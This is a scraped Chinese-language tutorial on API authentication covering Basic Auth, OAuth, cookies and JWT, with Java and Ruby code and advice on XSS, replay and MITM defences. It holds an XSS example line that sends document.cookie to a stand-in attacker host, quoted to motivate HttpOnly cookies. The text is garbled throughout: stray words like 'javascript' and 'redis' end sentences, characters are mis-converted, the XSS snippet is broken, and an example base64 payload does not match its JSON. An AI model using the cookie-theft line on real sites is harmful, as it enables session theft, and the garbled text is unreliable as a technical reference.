HTTP Basic Auth簡單點說明就是每次請求API時都提供用戶的username和password,簡言之,Basic Auth是配合RESTful API 使用的最簡單的認證方式,只需提供用戶名密碼便可,但因爲有把用戶名密碼暴露給第三方客戶端的風險,在生產環境下被使用的愈來愈少。所以,在開發對外開放的RESTful API時,儘可能避免採用HTTP Basic Authjavascript
OAuth(開放受權)是一個開放的受權標準,容許用戶讓第三方應用訪問該用戶在某一web服務上存儲的私密的資源(如照片,視頻,聯繫人列表),而無需將用戶名和密碼提供給第三方應用。css
OAuth容許用戶提供一個令牌,而不是用戶名和密碼來訪問他們存放在特定服務提供者的數據。每個令牌受權一個特定的第三方系統(例如,視頻編輯網站)在特定的時段(例如,接下來的2小時內)內訪問特定的資源(例如僅僅是某一相冊中的視頻)。這樣,OAuth讓用戶能夠受權第三方網站訪問他們存儲在另外服務提供者的某些特定信息,而非全部內容
下面是OAuth2.0的流程:
html
這種基於OAuth的認證機制適用於我的消費者類的互聯網產品,如社交類APP等應用,可是不太適合擁有自有認證權限管理的企業應用;前端
Cookie認證機制就是爲一次請求認證在服務端建立一個Session對象,同時在客戶端的瀏覽器端建立了一個Cookie對象;經過客戶端帶上來Cookie對象來與服務器端的session對象匹配來實現狀態管理的。默認的,當咱們關閉瀏覽器的時候,cookie會被刪除。但能夠經過修改cookie 的expire time使cookie在必定時間內有效;java
Token機制相對於Cookie機制又有什麼好處呢?node
JSON Web Token(JWT)是一個很是輕巧的規範。這個規範容許咱們使用JWT在用戶和服務器之間傳遞安全可靠的信息。其git
一個JWT實際上就是一個字符串,它由三部分組成,頭部、載荷與簽名。
載荷(Payload)github
{ "iss": "Online JWT Builder", "iat": 1416797419, "exp": 1448333419, "aud": "www.example.com", "sub": "jrocket@example.com", "GivenName": "Johnny", "Surname": "Rocket", "Email": "jrocket@example.com", "Role": [ "Manager", "Project Administrator" ] }
將上面的JSON對象進行[base64編碼]能夠獲得下面的字符串。這個字符串咱們將它稱做JWT的Payload(載荷)。web
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
小知識:Base64是一種基於64個可打印字符來表示二進制數據的表示方法。因爲2的6次方等於64,因此每6個比特爲一個單元,對應某個可打印字符。三個字節有24個比特,對應於4個Base64單元,即3個字節須要用4個可打印字符來表示。JDK 中提供了很是方便的 BASE64Encoder 和 BASE64Decoder,用它們能夠很是方便的完成基於 BASE64 的編碼和解碼redis
頭部(Header)
JWT還須要一個頭部,頭部用於描述關於該JWT的最基本的信息,例如其類型以及簽名所用的算法等。這也能夠被表示成一個JSON對象。
{
"typ": "JWT", "alg": "HS256" }
在頭部指明瞭簽名算法是HS256算法。
固然頭部也要進行BASE64編碼,編碼後的字符串以下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
簽名(Signature)
將上面的兩個編碼後的字符串都用句號.鏈接在一塊兒(頭部在前),就造成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最後,咱們將上面拼接完的字符串用HS256算法進行加密。在加密的時候,咱們還須要提供一個密鑰(secret)。若是咱們用mystar做爲密鑰的話,那麼就能夠獲得咱們加密後的內容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最後將這一部分簽名也拼接在被簽名的字符串後面,咱們就獲得了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在咱們的請求URL中會帶上這串JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
下面咱們從一個實例來看如何運用JWT機制實現認證:
基於Token的認證機制會在每一次請求中都帶上完成簽名的Token信息,這個Token信息可能在COOKIE
中,也可能在HTTP的Authorization頭中;
對Token認證機制有5點直接注意的地方:
Java中對JWT的支持能夠考慮使用JJWT開源庫;JJWT實現了JWT, JWS, JWE 和 JWA RFC規範;下面將簡單舉例說明其使用:
生成Token碼
import javax.crypto.spec.SecretKeySpec; import javax.xml.bind.DatatypeConverter; import java.security.Key; import io.jsonwebtoken.*; import java.util.Date; //Sample method to construct a JWT private String createJWT(String id, String issuer, String subject, long ttlMillis) { //The JWT signature algorithm we will be using to sign the token SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256; long nowMillis = System.currentTimeMillis(); Date now = new Date(nowMillis); //We will sign our JWT with our ApiKey secret byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret()); Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName()); //Let's set the JWT Claims JwtBuilder builder = Jwts.builder().setId(id) .setIssuedAt(now) .setSubject(subject) .setIssuer(issuer) .signWith(signatureAlgorithm, signingKey); //if it has been specified, let's add the expiration if (ttlMillis >= 0) { long expMillis = nowMillis + ttlMillis; Date exp = new Date(expMillis); builder.setExpiration(exp); } //Builds the JWT and serializes it to a compact, URL-safe string return builder.compact(); }
解碼和驗證Token碼
import javax.xml.bind.DatatypeConverter; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.Claims; //Sample method to validate and read the JWT private void parseJWT(String jwt) { //This line will throw an exception if it is not a signed JWS (as expected) Claims claims = Jwts.parser() .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret())) .parseClaimsJws(jwt).getBody(); System.out.println("ID: " + claims.getId()); System.out.println("Subject: " + claims.getSubject()); System.out.println("Issuer: " + claims.getIssuer()); System.out.println("Expiration: " + claims.getExpiration()); }
如何保證用戶名/密碼驗證過程的安全性;由於在驗證過程當中,須要用戶輸入用戶名和密碼,在這一過程當中,用戶名、密碼等敏感信息須要在網絡中傳輸。所以,在這個過程當中建議採用HTTPS,經過SSL加密傳輸,以確保通道的安全性。
瀏覽器能夠作不少事情,這也給瀏覽器端的安全帶來不少隱患,最多見的如:XSS攻擊:跨站腳本攻擊(Cross Site Scripting);若是有個頁面的輸入框中容許輸入任何信息,且沒有作防範措施,若是咱們輸入下面這段代碼:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’ +document.cookie;return a}())"
這段代碼會盜取你域中的全部cookie信息,併發送到 hackmeplz.com;那麼咱們如何來防範這種攻擊呢?
//設置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); //設置多個cookie response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly"); //設置https的cookie response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在實際使用中,咱們可使FireCookie查看咱們設置的Cookie 是不是HttpOnly;
所謂重放攻擊就是攻擊者發送一個目的主機已接收過的包,來達到欺騙系統的目的,主要用於身份認證過程。好比在瀏覽器端經過用戶名/密碼驗證得到簽名的Token被木馬竊取。即便用戶登出了系統,黑客仍是能夠利用竊取的Token模擬正常請求,而服務器端對此徹底不知道,覺得JWT機制是無狀態的。
針對這種狀況,有幾種經常使用作法能夠用做參考:
一、時間戳 +共享祕鑰
這種方案,客戶端和服務端都須要知道:
客戶端
auth_header = JWT.encode({
user_id: 123, iat: Time.now.to_i, # 指定token發佈時間 exp: Time.now.to_i + 2 # 指定token過時時間爲2秒後,2秒時間足夠一次HTTP請求,同時在必定程度確保上一次token過時,減小replay attack的機率; }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)
服務端
class ApiController < ActionController::Base attr_reader :current_user before_action :set_current_user_from_jwt_token def set_current_user_from_jwt_token # Step 1:解碼JWT,並獲取User ID,這個時候不對Token簽名進行檢查 # the signature. Note JWT tokens are *not* encrypted, but signed. payload = JWT.decode(request.authorization, nil, false) # Step 2: 檢查該用戶是否存在於數據庫 @current_user = User.find(payload['user_id']) # Step 3: 檢查Token簽名是否正確. JWT.decode(request.authorization, current_user.api_secret) # Step 4: 檢查 "iat" 和"exp" 以確保這個Token是在2秒內建立的. now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 若是過時則返回401 end rescue JWT::DecodeError # 返回 401 end end
二、時間戳 +共享祕鑰+黑名單 (相似Zendesk的作法)
客戶端
auth_header = JWT.encode({
user_id: 123, jti: rand(2 << 64).to_s, # 經過jti確保一個token只使用一次,防止replace attack iat: Time.now.to_i, # 指定token發佈時間. exp: Time.now.to_i + 2 # 指定token過時時間爲2秒後 }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)
服務端
def set_current_user_from_jwt_token # 前面的步驟參考上面 payload = JWT.decode(request.authorization, nil, false) @current_user = User.find(payload['user_id']) JWT.decode(request.authorization, current_user.api_secret) now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 返回401 end # 下面將檢查確保這個JWT以前沒有被使用過 # 使用Redis的原子操做 # The redis 的鍵: <user id>:<one-time use token> key = "#{payload['user_id']}:#{payload['jti']}" # 看鍵值是否在redis中已經存在. 若是不存在則返回nil. 若是存在則返回「1」. . if redis.getset(key, "1") # 返回401 # end # 進行鍵值過時檢查 redis.expireat(key, payload['exp'] + 2) end
所謂MITM攻擊,就是在客戶端和服務器端的交互過程被監聽,好比像能夠上網的咖啡館的WIFI被監聽或者被黑的代理服務器等;
針對這類攻擊的辦法使用HTTPS,包括針對分佈式應用,在服務間傳輸像cookie這類敏感信息時也採用HTTPS;因此雲計算在本質上是不安全的。
參考目錄:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/